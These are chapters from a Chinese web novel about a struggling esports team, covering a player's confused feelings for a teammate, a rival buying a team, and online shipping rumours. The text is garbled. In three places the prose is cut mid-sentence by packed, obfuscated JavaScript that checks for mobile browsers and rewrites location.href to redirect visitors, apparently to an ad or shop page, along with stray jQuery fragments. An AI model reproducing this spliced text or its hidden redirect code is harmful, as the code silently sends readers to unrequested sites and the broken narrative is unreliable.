【LL:你别告诉我,Night这把是全力以赴。】 他轻瞥了一眼旁边在床上兴高采烈地不停发着消息的人。 【Q:八成是。】 【LL:我服了,哪家战队会在直播的时候把思路全打出来?Wao肯定也不会全力以赴一个排位赛啊?而且你怎么还直接让他来指挥了?】 【Q:他很想赢。】 【LL:总不能为一个娱乐模式想赢就把自己的底牌交出来吧??等下别的战队通过这把直播回放又可以研究出我们不少东西出来。】 【LL:你们几个臭家伙又要让我调整战术了啊啊啊!/烦躁/烦躁】 【Q:没事,我们更赚一些。】 这把游戏以后,由于对手的强大,即便他们不会全力以赴,也能让JYY有不少团队配合上的进步。 特别是夜雨辰对“团队”的概念,一定会向前大跨一步。 “嗡嗡!” 这时,郁秋的手机一震。 是Whisper Tree收到消息的特别关心震动。 他眼里闪过一抹诧异,下意识抬眸偷看了一眼依旧在床上专注着抱着手机玩的青年。他悄无声息地起身,直接离开房间下到空无一人的一楼。 他的神色满是复杂。 为什么突然在这APP上给他发消息?不会又是来偷骂他了吧? 他坐在沙发上,有点紧张地点开了和对方的聊天框。 冰冷的文字瞬间印入他逐渐缩小的瞳孔—— 【Rain:我想问你一个问题。】 【Rain:你追你喜欢的人的时候,心里感受是什么?】 44. 第 44 章 房间里,夜雨辰目光紧紧盯着Whisper Tree的聊天界面,似紧张的吞了口唾沫,拿着手机的手也微微有些战栗。 他也不知道为什么自己会是这个反应。 现在都凌晨一点半了,有耳应该也睡了吧? 可他还是迫切地想知道这个问题的答案。 仿佛是一种得不到答案就不想罢休的感觉。 突然,他的手机一震。 【有耳:怎么,你是有喜欢的人了?】 他微微蹙起眉。 【Rain:你先回答我的问题再套我话。】 【有耳:……】 【有耳:我会忍不住想和A接触,想方设法和TA搭话引起TA的注意。】 【有耳:而且,每次我和TA接触的时候,我都会紧张、心跳加速,但还是会克制自己的兴奋的心情,不过我的情绪常常会因TA而异。】 【Rain:什么叫因她而异?】 【有耳:简单点说就是,TA开心我就开心,TA难受我就烦,而且特别想暴揍那群惹TA生气的人。】 夜雨辰看着这些字,眸光有些波动。 所以对喜欢的人的感觉是,情绪会被对方牵着走吗? 【有耳:所以,你为什么要问我这些?】 【Rain:我有点搞不懂我自己的心里,你虽然没追到人,但也算有经验,所以我想问问你这个。】 【有耳:愿闻其详。】 【Rain:你觉得我现在对郁秋的感觉是什么?】 这次,他等了接近两分钟对方才发来了信息。 【有耳:嫌弃?讨厌?】 看着这两个词,他双眼微眯。 这应该是看他们之前的聊天记录得出来的结论吧? 其实他也觉得自己对他应该是这两个感觉。 但是…… 【Rain:我觉得我应该不讨厌他。】 【Rain:我这几天心里总有奇怪的感觉,可能有嫌弃,但肯定不是讨厌。】 【有耳:为什么?】 【Rain:如果我讨厌他的话,应该会本能的想离他远点而不是靠近他吧?】 【Rain:而且靠近他的时候,甚至有种愉悦的心情。】 特别是刚刚五排的时候。 夜雨辰回忆着自己刚刚内心的感受。 这次排位,郁秋并没有主动的坐到他旁边,所以他心里没来由的升起一股烦躁和不解感,让他的心思一直在这个问题上徘徊,导致他三把操作都有点变形。 所以最后一把,趁零落下线换One上线的时候,他直接随便找了一个借口去坐到他旁边。 而神奇的是,在坐下的瞬间,他心里居然又舒畅了。 这到底是为什么? 【有耳:愉悦?】 【Rain:可能因为他前几天排位的时候都主动坐我旁边,结果今天他一直不来,我就有点不习惯吧?】 【有耳:他为什么会坐你旁边?】 【Rain:我俩这几天常常双排,但我被他的一个毛病坑怕了,所以我就把他强行拽来我旁边坐着,后来他就会自觉地把椅子搬到我旁边,可今天他并没有。】 【有耳:他毛病改好了就不想麻烦你?】 【Rain:改好个屁,他这几把玩得比我还菜,要不是这次我去找他,他肯定还是这么菜。】 除了最后一把,郁秋那辣眼睛的操作和之前他被坑的时候简直如出一辙。 【有耳:那我想问问,你对他其他事的印象是什么?】 夜雨辰眨眨眼,开始回忆起自己进战队以来和对方的接触—— 【Rain:印象嘛……都是很平常的一些小事,就比如我发烧时他会照顾我但没买药,请我吃饭但全是我讨厌吃的菜,训练赛老和我吵架对着干。】 【有耳:我知道,你跟我吐槽过,所以我以为你讨厌他。】 【Rain:确实对这些会无语或嫌弃。】 【Rain:可我有需求的时候,他总会毫不犹豫地帮我,虽然他老是会嘴贱几下,可行动上,他对我挺好的。】 他会注意自己有没有吃饭、会注意自己可能发烧而提前做好应对措施;会在他有经济问题的时候毫不犹豫地给予帮助、在他问乘车问题的时候,直接顺路搭自己了一个来回;会顺手在他喝多了的时候给他倒一杯蜂蜜水、甚至会委屈自己没有床,把床让给他睡…… 他深吸一口气。 【Rain:所以我肯定不是讨厌他。但我这两天有个荒谬的念头,就是我不会喜欢上他了吧?】 【有耳:……】 【有耳:我以为你喜欢的是女生。】 【Rain:所以我才说我这个念头荒谬啊!】 肯定是因为小U老跟他叨叨“同性恋”的原因导致他才会有这个念头的。 不过,对面这次又没有立马回消息,而是过了数十秒。 【有耳:感情这个东西嘛,很复杂,说不准,得靠你自己的心里来感觉,不过我需要提醒你一个东西。】 【Rain:什么?】 【有耳:“好感”、“喜欢”和“爱”是三个不同的意思,而当代会有很多人搞混这种感觉,导致最终误判了自己的心里。】 【Rain:什么意思?】 【有耳:打个比方就是,有些人在刚认识的阶段,双方会因为聊天合得来、兴趣相投而极易对对方产生“分享欲”和“新鲜感”。他们会忍不住很多东西都和对方分享,甚至这个话题只会跟这一个人共享,通俗来说,这就是“好感”。】 夜雨辰脑子里顿时闪过了前几天晚上他和郁秋夜谈的时候。 “青训”的话题,他从没和其他人聊过,包括言星奕、小U和有耳。 【有耳:这种“好感”会给人心里带来一种舒适感,容易让人上头、本能地想去接近对方,因为这时候,他们都会对对方产生一种名为“好奇心”的情绪。】 【有耳:他们不了解对方,他们会想去探索对方身上的特性,甚至会产生一种“滤镜”,会主动过滤掉对方的“不好”的一面,只看得见对方的“好”的一面。】 【有耳:所以有些人就会觉得,这是喜欢,于是两个人就会在刚认识不久后表白成为了情侣。他们会觉得自己和对方是天生一对。】 【有耳:不过随着时间的推移,可能一两个月,也可能三四个月,他们会更加深入的了解彼此,名为“新鲜感”和“好感”的滤镜逐渐消失,他们会开始发现对方的缺点,会觉得自己原来和对方并不合适,从而开始吵架,而大部分人则是最后选择了分道扬镳。】 【有耳:很多人都因为把“好感”错认为“喜欢”,所以有了一场迅速开始又迅速结束的恋情,你也可以理解成是当代盛行的“快餐恋爱”的一种。】 【有耳:所以,在你以为喜欢一个人的时候,你最好先分清楚,这究竟是“好感”还是“喜欢”。】 【有耳:不要把你对一个人的“好感”当成“喜欢”,这样,结局说不定会让两个人都以难受告终。】 * 第二天,JYY的六人在训练室准备训练。 开开看着手里的视频,抹了抹眼角并不存在的眼泪道:“太感动了,我都不记得上次见到战队正面话题相关的视频究竟是什么时候了。” 他手里视频里正播放着JYY凌晨五排击败Wao的片段。 而其视频标题是——“惊!大换血后,JYY竟击败Wao一队,落魄战队竟成职业黑马?!” Qian刷着手机,头也不抬道:“两个月前邱子幸买过。” 而且这个买话题的操作,可是让他们荣获了更多网友的嗤笑。 “我呸!”开开立马吐了一口唾沫,“他那些都是假话题!捏造的!我们这次是靠自己手打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我去!!”突然,开开怒叫一声,把自己的手机举给其他队友看,“这什么傻逼作品?居然说我们全靠运气赢的?而Wao是因为选手刚放完假处于恢复状态,所以输了正常?他他妈看过直播回放吗就这么乱叫?这还运气?” 闻言,夜雨辰直接抬眸看了过去,直接蹙眉,轻啧了一声。 他刚刚好瞥到了一个弹幕—— 同意,JYY是什么垃圾战队?一个B组战队在比赛都没资格碰到Wao,今早刷到吹他们黑马的视频我就觉得他们又是故技重施想博热度了。 开开咬牙道:“虽然只是排位,但好歹也是我们赢了,不带这么黑的吧?” Qian不以为意:“习惯了。” 开开愤愤不平道:“可结果就是我们赢了,他们有必要这样硬给我们泼脏水吗?” One耸了耸肩:“有很多原因,这种人可能是战队以前的粉转黑,也可能是因为他们喜欢Wao所以接受不了他们输给一个B队,还可能是这个话题给Wao的口碑造成了一些影响,所以他们需要买流量让别人把他们的实力掰回一点……但不会变的是,这种手段是百用不腻,我都懒得在意了。” “我真服了,游戏有输有赢多正常,为什么人人都搞这些杂七杂八的东西为维护这所谓的名声。”开开烦躁地立马划掉了这个视频。 “我靠!秋、秋哥……” 突然,他又发出了一声惊叫。 Qian皱起眉:“你又狗叫什——” 郁秋抬眸:“怎么——” “联赛把每个队的大名单发出来了,我发群里了。”零落在这时突然插了一句话。 众人的声音戛然而止,不约而同地点看大名单查看。 夜雨辰虽然心里和开开一样对这种事情感到生气,但他什么话也没说。 他也跟着打开战队群瞥了一眼名单。 突然,他倏地一下站起身,脸色完全阴沉了下去。 他没有关注自己的战队,因为他知道自己肯定是首发,也不像其他人,优先关注自己可能会遇到的对手是谁。 所以他率先关注的是FQ战队的大名单—— …… 中路首发成员:邱子幸(FQ.子幸)、替补成员:宁军仁(FQ.JR) …… 整个FQ战队的参赛名单上,没有小U的名字。 45. 心态 “嘁。”Qian也很快就注意到了邱子幸的名字,“这傻逼故技重施啊?” 开开凑过去一看,脸上瞬间写满嫌弃:“这是把FQ买了?宁军仁不都一年没下过首发位了?” 上次邱子幸进战队抢首发可是直接斥巨资买下了两连冠的冠军战队,然后把那时候的中单挤了下去。而这次,虽然FQ战队不是冠军战队,但同样也是个很有潜力夺冠的战队。 One眸里闪过不悦的光芒:“死性不改。” 零落冷哼一声:“同样的手段真是百用不腻。” “能不能让这种人滚出电竞圈啊,祸害完我们现在还去祸害其他人,别人的命不是命啊?”开开小声嘟囔道。 随即,他突然想起什么,“对了秋哥,我刚刚是想跟你说——” “咔擦!” 就在这时,训练室的门被打开了。 夜雨辰不知什么时候走到了门口。他目光紧紧盯着拿着手机,眉眼间尽是阴郁的气息:“有个电话,出去一下。” 说完,他便头也不回地出了门。 他下楼的速度极快,但目光一直锁定在正在拨通的手机屏上。 接电话。 快接电话。 “喂?咋了?” 终于,在他快步走到一楼的时候,对面刚好接上了电话。 夜雨辰深吸一口气,语气尽量保持沉稳:“你们战队名单是什么情况?” 比赛名单上没有名字的选手,那可是连在比赛现场上坐饮水机旁的机会都没有的。 “这个嘛,有点复杂。”小U的声音听上去一如往常,完全没有因为自己的名字不在名单上而有任何沮丧,“简单来说就是昨天他突然通知在战队了,然后上层管理就……嗯。” “啧。”夜雨辰咬紧牙关。 邱子幸大概率是真的买下FQ战队了。 他就像以前买下JYY那样,一进队就直接抢走首发,把首发挤到替补,然后再把替补挤下名单吗? 而且,这次邱子幸像吸取了上次买JYY的教训似的,卡在了名单下来前一天才“空降”战队,这时候转会期已经结束了,所以,FQ的首发就算想跑都来不及。 他的手不由得握得更紧。 他是跟小U说过邱子幸具体在战队里做过什么的。 “那你怎么想的?” “能怎么想?我能想什么?”小U满是无所谓道, “反正无论如何这也是电竞嘛,实力决定一切,既然替补现在能换人,那以后替补也有可能换咯,我现在只能先把目标放到二队去。” 说到‘二队’的时候,他的语气明显有些低落。 夜雨辰抿进嘴唇,心底的怒意更甚。 他知道,就算小U听出来完全没有任何的失落,但他心底肯定还是想上场比赛的。 他本来是一队的中单替补,结果现在因为邱子幸的空降,他就突然无队可归了。 比赛上场的机会就这么突然被剥夺走了,无论是谁,心底肯定还是不甘心的。 可小U没有办法,就算他再怎么不甘、知道臭名昭著的邱子幸在电竞圈是什么样的作为,他也只能接受现实。 因为他们没钱能付得起高额的违约金。 就算付得起,也不会有其他战队愿意收留一个还没有任何成绩的新星职业选手。 更何况中单还是是最不缺选手的位置。 所以小U现在的心态确实只有相信电竞圈的原有的规则——实力至上。 谁有实力,谁就能上场比赛。 半晌,夜雨辰只好嘱咐道:“那你小心他,要是。” 小U笑道:“放心,没什么事肯定不会和他有摩擦的,我也不会像某人一样心口不一。” “……”夜雨辰一怔,随即,无奈地笑出声,“你真是够了,这还要损我一下,真悠闲。” “哈哈哈哈哈。”小U爽朗地笑出声, “反正生活嘛,磕磕绊绊才正常,所以心平气和地接受现实,我觉得我尽可能地做好我所有该做的事,就好了。” “而且虽然我的开局突然也变逆风了,但我们可都是打过翻盘局的人呢。” 夜雨辰笑而不语。 果然,他们三个人的心态上,小U永远是最好的那个。 虽然他在用词方面真的让人感到堪忧,但他在处事方面上,永远不会以焦躁的心态面对所有事情。 游戏忍不住骂人除外。 突然,小U说道:“对了老夜,你们战队名单其实也很有意思啊。” “什么?” 夜雨辰一时没明白这句话是什么意思。 小U笑嘻嘻道:“你没发现你们教练也在替补名单上吗?这好像是联赛以来史无前例的一件事吧?” “?” 夜雨辰一愣。 他并没有看自己战队的名单。 他立马打开名单查看—— 射手首发成员:JYY.One(万帅);替补成员:JYY.零落(姚飞) * “我靠,零落你怎么还成替补了?” 一快步回到训练室,夜雨辰就听到了开开的惊诧声。 零落干咳两声:“我们队不报个替补就是十八个参赛战队里唯一一个没有替补的队了,所以来给战队争点面子。” 郁秋看向门口回来的人,悠悠道:“教练做替补才更让战队没面子吧?” Qian没忍住勾起嘴角,偷偷瞟向零落:“你这借口找的太蹩了,帮你圆不了。” 零落轻哼一声,脸上完全没有被拆穿谎言和教练去做选手的尴尬之色。 “以防万一嘛。”One满是轻松地开口帮他解围。他抬起自己的手,给室内所有人展示着自己的手背,面色从容地解释道,“虽然我现在没什么事,但赛场上的变故谁都说不准呢。” 众人不语,但他们都看到了那顺延手臂的筋络而下、隐隐有些发青的虎口,无论是知道缘由还是不知道缘由的人,都瞬间了然One是什么情况了。 23岁的职业,一定是圈内公认的高龄选手。 而GloryK这个游戏,大部分想打职业比赛的玩家,最晚都会从15岁开始接触这个游戏。 想练到进青训营的水准,就算是再有天赋的人都需要一到两年。 而且,One一直玩得还是射手位,需要不停地按“普攻键”。再加上职业玩家必备的秒换装、技能衔接、以及局内拉视角三指四指基础操作,所以对他的手有损害是毋庸置疑的。 这接近十年的高强度使用手指,一定会让他无法避免地患上职业病——腱鞘炎。 这种病,只能静养,只能减少对手的使用,很难痊愈。 不过开开的反应是众人里最吃惊的:“怪不得Qian老是怼我,然后又和你说好好休息,我还以为是他区别对待呢。” Qian没忍住翻了个白眼:“也就你这榆木脑袋反应不过来。” 郁秋问道:“你有用药吗?” One完全没有对自己手伤的担忧,就好像手疼的人并不是他:“擦着呢,小问题,我这药效果可好了,你们要是有谁手也犯毛病了我可以给你们推推链接。” “就是有些不好意思给战队丢脸了,零落报名其实也是以防万一,这也跟老板商量过的,毕竟比赛更重要,万一我真的犯老毛病了,他刚好也有实力顶顶。” 零落的嘴角终于在这时扯出一抹笑容,但他依旧没有说话。 开开丝毫不在意这个,打了个哈欠:“这有啥丢脸的?我们以前更丢脸的都经历过了。” Qian淡淡道:“而且还有昨天的那把对局,虽然只是排位,但也是战队难得的正面声了,所以名单上丢点脸也没啥,至少我们战队实力还是宣传出去了。” 提到排位,夜雨辰就没忍住问道:“那刚刚那些骂我们战队、去捧Wao的作品,俱乐部会进行公关处理吗?” “不会。” 郁秋想也没想就回答了他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081139|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夜雨辰转头看向他,蹙眉道:“可结果不是我们赢了吗?为什么我们还要受这气听他们颠倒黑白?” 在郁秋开口解释前,零落就直接回答了他:“这个嘛,因为我们几个在战队呆太久了,所以已经知道并习惯发表这些言论的人居心何在,也习惯了黑流,所以大家习惯性会把这种话晾在一旁了。” Qian颔首,大拇指指着开开,补充道:“除了这傻逼会口嗨骂几下,但他其实也不会把这些放进心里。” 开开投给Qian一个鄙视的目光,但也默认了这个法,摊手道:“虽然看那些喷子不爽,但托邱子幸的福,我当职业选手以来这一年几乎只有黑料,都被骂习惯了。而且我们也没那个时间去和这些闲得蛋疼的黑子吵。” One耸耸肩:“我就不用说了,名气最盛那会骂人得更多,所以已经习惯选择性眼瞎了。不看,就不会生气,反正电竞也不靠嘴来争名次。” “我说你们,哪来这么多杂七杂八的借口?什么心态已经习惯被骂所以无所谓这些喷子了?” 郁秋瞥向眼底愈发阴郁的夜雨辰,揉了揉眉心,对其他四人叹了口气,“大哥们,这好歹关乎战队的名声啊,咱们不公关纯是因为战队根本没钱没人力去处理这种事情好吗?” 除夜雨辰外的四人突然想起这一点,身体突然一僵。 他们下意识把战队公关当成像邱子幸那样只会给他一个人买营销,然后到处抹黑他们几个的团队了。 说着,郁秋看了一眼手机上的时间,微笑道:“而且,还训不训练了今天?咱们已经闲聊了大半个小时了。” * 训练一结束,夜雨辰就面色阴晴不定地迅速回到了房间。 他整个人闷闷不乐地坐在自己的椅子上,抱成一团。 从大名单下来以后,他的心情就在直线往下滑。 “今天怎么打这么凶?” 果不其然,某人跟在他的屁股后回到了房间。 夜雨辰没好气道:“关你屁事。” 他不过就打法比平常更激进了些吗? 郁秋对这句话充耳不闻,背靠着门,双手抱胸,轻笑道:“你现在这幅模样,说明你还是意识到自己问题了不是吗。” 夜雨辰冷哼一声,没有说话。 确实,他意识到他现在是战队里唯一一个不能接受自己被骂的心态。 刚刚训练室里,虽然他队友们是一时忘记了现在战队的处境,可他们的话里话外其实都是一种“我早就被骂习惯了,所以才懒得去理那些喷子”的心态。 而且郁秋虽然没说同样的话,但他早就是这种心态了。 他目光幽幽瞥向一处,十分不情愿地憋出一句话:“我还是没办法做到不去理那些人的话。” 就算郁秋跟他说过‘在意别人的话,就容易死在别人的言语中’,可知道是一回事,做得出来却是另一码事。 听到这句话,郁秋欣慰的笑了:“意识到这是个问题是好事,这也是要慢慢来的,我们几个当初也不是一下就有这种心态的。” 夜雨辰的眸光不由得更深沉了些。 他知道,郁秋在这一年一定是被骂得最多的那个。 “不过,还有件事你也需要知道一下,刚刚你不在训练室里,所以你没听到。” 突然,郁秋收起了上翘的嘴角,站直了身体,语气也严肃了起来。 “什么?” 夜雨辰见到对方这副罕见凝重的模样,心里闪过一抹诧异。 只见对方的眼里满是挣扎之色。半晌,像是做好了十足的心理准备后,他才缓缓开口,虽然他只憋出来了五个字:“又开始传了。” 夜雨辰皱起眉,心里好像猜到了什么。 传……什么? 房间霎时鸦雀无声。 片刻后,郁秋深吸一口气,像是鼓足了勇气才开口补充完刚刚的话,但他的声音里还是微微有一丝的颤抖: “CP,又开始在网络上传了。” 46. 第 46 章 这句话就像两年前凶狠打在他身上的黑潮再次在他面前掀起巨大的、还未打在他身上的波浪,让夜雨辰全身下意识一颤,喉咙有些发干。 CP? 是和两年前一样的那个CP吗? 他的脑海里霎时蹦出来曾目睹过的字眼,胃也跟着收缩了一下。 而且,郁秋说的是“又”。 所以……这次又是他们俩吗? 郁秋似是不想看到他脸上的表情,瞥开了目光,很轻很轻地点了下头:“……是的。” 两个字,铿锵有力地落入他的耳中。他的脑子犹如被一颗巨石砸中,顿时一阵恍惚。 他微微张口,但完全不知道这时候该说些什么,手无意识地握成了拳。 房间顿时鸦雀无声。 不知道是不是错觉,他突然觉得房间好像变得更冷了一些,把他裸.露在空气的皮肤激起了一层厚厚的鸡皮疙瘩。 “我……知道你对这件事情特别介意,” 过了不知多久,终于,郁秋开口打破了这片寂静,但他还是侧着头,完全没去看夜雨辰此刻的表情,继续低沉道,“所以,为了避免以后网络上有更多类似的话题,我会尽量和你保持距离的。” 夜雨辰的心里微微一颤。 他保持着抱成一团的姿势,把头略微埋进了膝间,用刘海遮住了正有些泛着水雾的眼眸,似是若无其事道:“所以这就是为什么昨天你不会坐我旁边的原因吗?” 怎么就刚好是现在跟他说这件事呢? 怎么就刚好是在JYY和Wao排位的话题有热度后跟他说这件事呢? 而且按照郁秋刚刚的说法,队里其他人也知道这件事了。 应该是刚刚他去和小U打电话的时候说的吧?毕竟开开刚刚一直有话想和郁秋说却被一直打断。 夜雨辰还是对自媒体的热度有一些了解的。 如果“JYY排位战胜Wao”的话题热度到了让Wao出手给自己战队拉回被“输给吊车尾战队”的面子的程度,那那些观众肯定会注意到一些其他的东西的。 郁秋的手指抽搐了一下,没有回答。 夜雨辰扯了扯嘴角,略带沙哑道:“你是不是……早就知道了这件事有发生的可能了?” 郁秋还是没有回答,反而垂下眼眸,更不敢去看他。 他在害怕。 他凌晨还在高兴,夜雨辰对自己终于开始有好感了,结果在刚刚一听到网络这个再次掀起的风波,虽然还没扩大到一定程度,但他还是忍不住升起惧意。 他害怕,自己好不容易有的好感瞬间被拉低,再次被对方打上“讨厌”的标签。 夜雨辰默默地把椅子转到自己的电脑桌前,同样也没有去看告知他这个消息的人。 他很讨厌给别人看自己现在的模样。 就凭他听到这句话后身体给予他下意识地反应,他就知道,自己的面庞现在看上去一定很狼狈。 他深吸一口气,将语气尽量保持平静沉稳,问道:“你是怎么知道的?” 整个房间再次陷入一片寂静。 等了十几秒,他仍然没有得到对方的回话。 “哈。”他扯出一抹笑容,瞬间明白了这个问题的答案,“Kimi?” 好像怎么去想,也只有昨天陪玩时给他下了那些命令要求的老板是最大的突破口了。 郁秋顿了下,半晌,他才终于从喉咙深处强行挤出来了一个字:“……嗯。” 夜雨辰眸底的光芒波动了一下,黯黯叹了口气。 他用力掐了下自己的大腿,像是在为自己立马回神,不再陷在过去的阴影和恐惧里。 终于,在他感觉自己状态稍微恢复正常了一点后,他才转过椅子看向郁秋。 他问:“你知道我对‘粉丝’是什么想法吗?” 郁秋有些怔然地抬起头,有些疑惑的看向夜雨辰。 怎么突然问这个问题? 夜雨辰微微垂下眼眸:“首先,我先声明一下,我不是说对她反感,而且我一直发自内心的谢谢她现在会给我单子,让我有自己赚钱的机会,我确实也挺喜欢这种靠着自己丰衣足食的感觉。但……” 他抬眸,毫无情绪地眼神看着对方,冷冷道:“我个人对‘粉丝’这个群体,很不感冒,甚至可以说,这对我来说是可有可无的存在。” 他深吸一口气,坚毅道:“我觉得,不论是我的过去还是未来,我在游戏里的操作水平以及上场比赛的机会,都和他们没有任何关系。” “我的技术是靠我自己对GloryK的热爱和理解练出来的,而我成为职业选手的机会,也是靠我自己从青训营拼出来的,所以,无论他们对我支持与否,都和我完全没有关系,反而因为我曾经遇到的那些事,我倒是对‘粉丝’有不小的反感。” 他对曾经的事情,特别是两年前的那件事永远刻骨铭心。 他还记得,当初在音符平台注册账号的时候,他就遭受到了很多那些冒充‘Rain’网恋骗钱的陌生人的粉丝不断地质疑、怀疑甚至谩骂声。 那些“Rain的粉丝”们对他说——“凭什么相信你这个不知道从哪窜出来的**是Rain?还是个新号!老子关注了Rain这么久,可是他的铁粉!所以这个肯定是本人无疑,你算哪根葱?” 而最后,在他的不断自证、日日夜夜剪视频以及直播的努力下,终于,让网友们相信了他才是真正的Rain。 但他从没等到过一句道歉。 他只记得自己自证的艰辛与不易和同伴在背后的相助支持。 而他第一次登顶巅峰赛全国第一后,那场可笑的闹剧,他还是记得那些自称是他粉丝说的话的——“亏我喜欢了你这么久,结果没想到你居然是会做出这种事的人。” 他还记得,当时看到这句话的时候心里的第一反应就是可笑。 喜欢他?很久? 然后就这么轻易的相信了那些刻意扇起这恶俗谣言的言论? 他那时候觉得,如果很多人是去因他的话而去相信他喜欢郁秋,那他就算心里再不爽,也还是会接受的。 毕竟是他自己作出来的。 但他完全接受不了相信这种恶俗谣言,还自称是喜欢他的粉丝的人。 何况,他也只是个普通人,只是刚好在游戏天赋上比绝大部分人有超强的天赋罢了,所以他私下做过什么,关这些人什么事? 最后经历过那件事,他心底也无法再去相信这些所谓“喜欢他很久了”的粉丝了。 而且,他很反感粉丝还有一个点。 他看着郁秋的眸光逐渐变得微妙了起来。 郁秋刚开始打职业,在Fire战队的时候,第一次上场,他还是有关注的。 他记得那一把游戏,不知道是不是因为他手紧张的毛病,对局里发挥得十分丑陋,所以,郁秋几乎被所有Fire的粉丝骂了。 这很正常,电子竞技,菜是原罪,玩得菜导致自己喜欢的主队输了,身为粉丝肯定对这个替补心存不满。 但是他替的是沦陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081140|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的打野位,是联盟里最火、粉丝最多的选手的替补。 所以,沦陷的粉丝会是最生气的。 然后,他在Fire的论坛上,看到了一些和游戏技术无关的骂声。 印象最深刻的就是,他看到过一个郁秋和沦陷的对比帖——让各路网友从颜值、身高、人气这些给他们作比较。 很可笑,比较的选项里并没有“游戏操作”。 虽然就算那时候有,也肯定是沦陷拔高一筹。 而且有些看上去是极端粉的人群,言语完全上升到了对郁秋的人身攻击,甚至是诅咒。 夜雨辰那时候真的十分不理解。 自己的主队因郁秋而输,骂他菜、指责他操作上的问题不就好了吗?为什么会扯到这种和游戏无关的字眼呢? 所以,他那时候对“粉丝”这类群体的印象,更加差了。 反正,他对粉丝也不会特别在意。毕竟他的粉丝决定不了他的游戏技术,他职业道路的名次也和粉丝完全没有任何关系。 电竞圈,只靠实力立足。 夜雨辰:“我会感谢那些愿意花时间支持我的人,但如果是以‘粉丝’的身份出现在我面前,那我确实没办法对他们一下就有很大好感。” 包括听到Kimi是他粉丝的时候,他只是有些诧异,但内心却毫无波澜。 毕竟直到现在,他还会因为“粉丝”的一些言论被干扰到自己的心态。 “……”郁秋沉默了一会。半晌,他才松下肩膀,莞尔道,“电子竞技,实力至上,咱们只要不忘初心便好。” 夜雨辰颔首,认同了这句话,然后他的眼神突然阴冷:“至于CP这件事,说实话,当初我是真的特别讨厌你。” 郁秋脸上的笑容突然僵硬,全身再次绷紧。 夜雨辰此刻的语气里满是冰冷之意:“至少在我这,我那时候一点都不认识你,和你一点都不熟,结果我那时候的游戏,只要被别人认出来我是Rain,他们都会问我一嘴你的情况,甚至说一些那种我讨厌的话。” 他语气里的温度越来越低,“我是真的很讨厌那些随便磕我和你cp的人,特别是对着我说那些本来就把我恶心吐了的类似的话,老子怎么解释都是苍白无力,还被倒打一耙说我心眼太小开不起玩笑?说真的,想起这些我到现在胃里都在翻腾想吐。” 虽然之前郁秋帮他澄清过他没有做过的事情,而且把骂声全都引到了自己身上,可他还没忘记郁秋当初下播的时候,还要最后再恶心下他。 说不定没有那句话,他还不至于轮到游戏里排到个人就说什么‘秋雨99’类似的话。 郁秋干咳了两声,脸上闪过一抹尴尬的神色:“我那时候……” “但。” 夜雨辰直接打断了郁秋的话,整个头突然往旁边一偏,脸上的厌恶嫌弃之色顿时收敛,反而肉眼可见的、逐渐开始泛红的耳垂正对着郁秋。 “这次的风波,刚好可以作为我一次心态上的磨练。” 房间不知是第几次陷入了掉根针都能听见的寂静。 等了好一会,夜雨辰没等到任何回复,他才偷偷将眼神往门口一瞥。 只见对方像是一根木头,保持着咳嗽的姿势僵在原地一动不动。 是没听懂自己想说什么吗? 他吞了口唾沫,重新开口进行解释,说话的声音却越来越小, “我的意思是,这次就让那些人去磕吧,我不会介意,也不会讨厌你了。” 所以,你不要跟我保持距离。 47. 倒霉 夜雨辰觉得这几天特别倒霉。 首先就是如郁秋所告知的那样,这几天他在网上刷到的“秋夜CP”视频真是越来越多,素材几乎都来源于他的直播切片,让他不禁怀疑是不是因为手机在那天偷偷录了他们的谈话,所以音符平台才一直会给他推这种话题的作品。 这个话题有热度,几乎完全归功于JYY排位打赢Wao的话题。那时候,很多观众蜂拥而至Night的直播间,结果发现,这直播间的摄像头下,没人,只有游戏画面,而Qiu的直播间有两个人。 所以就有不少人开始好奇这两人为何同屏。 结果,越扒越有料。 这两人原来已经连续在Night的直播间里同屏了好几天。 而JYY和Wao打排位的那天,前三把游戏,两个人都各自呆在自己的直播间里。然后,他们的操作打得是稀巴烂。 Qiu打得垃圾正常,反正大家早就习惯了。可是Night,如今GloryK公认的国一中单,居然在直播间里史无前例的连续发挥失常三把?! 甚至有时候连最基本的技能预判都打不准,让观众们有种自己都是国一中单的错觉了。 最让人诧异的是,三把游戏后,Night就明晃晃地从自己的直播间搬到了Qiu的直播间,然后,他的发挥就突然正常回来了,甚至Qiu的操作也不菜了。 而且那把,Night的指挥,完全是跟前三把那个迷路的法师无法媲美的思路,要不是因为开着直播,他们都快怀疑这是换了一个人上号! 所以,这两人要是没有什么不可说的秘密,他们是真的不信。 而某个姓夜的当事人,每次刷到这类话题视频的时候,都不由得双眼微眯,心情也变得十分微妙。 而现在,他又双叒叕刷到了一个“秋夜”的视频了。 不记得这是第几个了,反正现在他刷的十个视频里,有八个会是这个话题,他对此都快麻木了。 一开始,他刚刷到这种视频的时候,看到“秋夜”,他就下意识幻视成了两年前的‘秋雨’那会,让他心里下意识有种恶心和颤抖的应激反应,但和两年前不同的是,这一次,不知道为什么,他发自内心地会想看完这些视频全部内容。 超尺度言论的视频除外,他只会心生厌恶并举报恶俗并立马跳到下一个视频。 